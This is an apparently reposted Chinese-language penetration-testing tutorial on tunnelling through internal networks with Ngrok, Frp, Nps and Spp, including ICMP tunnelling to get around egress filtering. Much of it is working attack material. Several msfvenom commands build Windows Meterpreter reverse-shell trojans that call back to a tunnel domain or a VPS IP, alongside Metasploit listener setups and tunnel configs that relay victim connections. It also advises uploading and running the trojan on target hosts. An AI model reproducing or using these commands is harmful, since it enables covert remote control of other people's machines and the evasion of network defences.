内网渗透| 隧道穿透的搭建从简单到高阶
2023-5-30 12:2:34 Author: 亿人安全(查看原文) 阅读量:37 收藏

1、内网穿透-Ngrok

https://www.ngrok.cc/

支持的协议:tcp、http、https

支持的类型:正向代理、反向代理

1.1、服务端配置:

开通隧道-TCP协议-指向IP和端口-开通隧道-连接隧道

可以自行花点小钱去购买,也能用免费的,不过大部分免费的都不能用

(tcp协议隧道↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑)

(http协议隧道↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑)

1.2、客户端连接服务端:


./sunny clientid 151559380722 #控制端连接Ngrok的服务器
./sunny clientid <此处的隧道ID为上所开通的>

1.3、客户端生成后门配置监听:

(注意根据你的协议不同。生成木马reverse_ 后面协议需要相应改变)

1.生成木马
msfvenom -p windows/meterpreter/reverse_http lhost=yeye.gz2vip.91tunnel.com lport=80 -f exe -o httpNgo.exe #如果是tcp用他给你的端口。http协议默认80端口即可

2.开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 8888 #注意此处端口填的在开启隧道时所提供的端口
run

2、内网穿透-Frp

https://github.com/fatedier/frp

控制主机在内网  通过隧道实现便捷控制目标主机
frp是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。
自行搭建,方便修改,成本低,使用多样化

2.1.服务端

--下载-解压-修改-启动(云主机记得修改安全组配置出入口)

服务器修改配置文件frps.ini:


vi frps.ini
[common]
bind_port = 7000

启动服务端:
./frps -c ./frps.ini

2.2.控制端

--下载-解压-修改-启动

控制端修改配置文件frpc.ini:
---------------------
[common]
server_addr =服务器ip #服务端IP地址
server_port = 7000       #frpc工作端口,必须和上面frps保持一致

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 5555(本地接收的端口(用于msf监听端口)) # 8001
remote_port = 6000(靶机木马连接vps端口) #6000端口(VPS)访问5555(攻击机)端口 9001
---------------------
上面配置涉及到的三个端口
5288开通隧道访问端口
转发规则 攻击机:5555 <-----> VPS:6000 <-----靶机

启动客户端:./frpc -c ./frpc.ini

[msf]

1.木马制作
msfvenom -p windows/meterpreter/reverse_tcp lhost=139.9.216.32 lport=6000 -f exe -o frp.exe

2.上线
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit

木马上线即可

实操步骤

服务器端配置frp端口

然后执行

./frps -c ./frps.ini

客户端frpc的配置

执行客户端命令

./frpc -c ./frps.ini

执行了就成功与服务器连接了

接下来生成木马,端口是以6000,ip是服务器的ip

msfvenom -p windows/meterpreter/reverse_tcp lhost=服务器ip lport=6000 -f exe -o frp.exe

为的就是用木马在对方内网主机以6000端口发送给服务器

msf开启监听模块

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit

用手段把木马上传到内网主机,然后执行木马

上线

3、内网穿透-Nps

https://github.com/ehang-io/nps

nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。

-服务端:

3.1、启动

./nps install

./nps

http://IP:8080/

账号/密码 admin/123

3.2、创建客户端,生成密匙

3.3、添加协议隧道,绑定指向

点击页面隧道进行添加

远程绑定5566,指向本地6666

-客户端:

1、连接服务端:

执行上面的命令

2、生成后门:

msfvenom -p windows/meterpreter/reverse_tcp lhost=服务端ip lport=服务端的端口 -f exe -o nps.exe

3、监听后门:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 0.0.0.0

set LPORT 6666

run

把生成的木马上传上线

4、内网穿透-Spp

https://github.com/esrrhs/spp

支持的协议:tcp、udp、udp、icmp、http、kcp、quic
支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理
在对抗项目中有遇到过一些极端环境,比如目标封了tcp,http等常用出网的协议,
但是icmp,dns等协议可能因为业务需要或者管理者安全意识不到位导致没有封干净。
在这种场景下就可以使用这些容易被忽视的协议进行隧道的搭建。

4.1、服务端:

--监听本地的icmp数据

./spp -type server -proto ricmp -listen 0.0.0.0

4.2、客户端:

此处的客户端在靶机运行

spp -name "test" -type proxy_client -server 192.168.146.162 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp

spp -name "test" -type proxy_client -server 服务器的ip -fromaddr :客户端木马端口 -toaddr :服务器端木马端口 -proxyproto tcp -proto ricmp

如果显示info则表示spp隧道已成功上线

4.3、CS

监听器A:服务器ip 8081(接收数据的端口)

监听器B:http 127.0.0.1 8082(木马在客户端本地发送数据的端口)

生成后门:监听器2

生成B木马上线为A监听器


原文链接:https://www.freebuf.com/articles/web/367148.html


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0MTIzNTgzMQ==&mid=2247506658&idx=1&sn=4fd4bd0ff257a74b8cc7a1d991792327&chksm=c2d711faf5a098ecdf27441f1a4a3ba7818fab593759a7520f35e2f64dbabffcfc8334e38c02#rd
如有侵权请联系:admin#unsafe.sh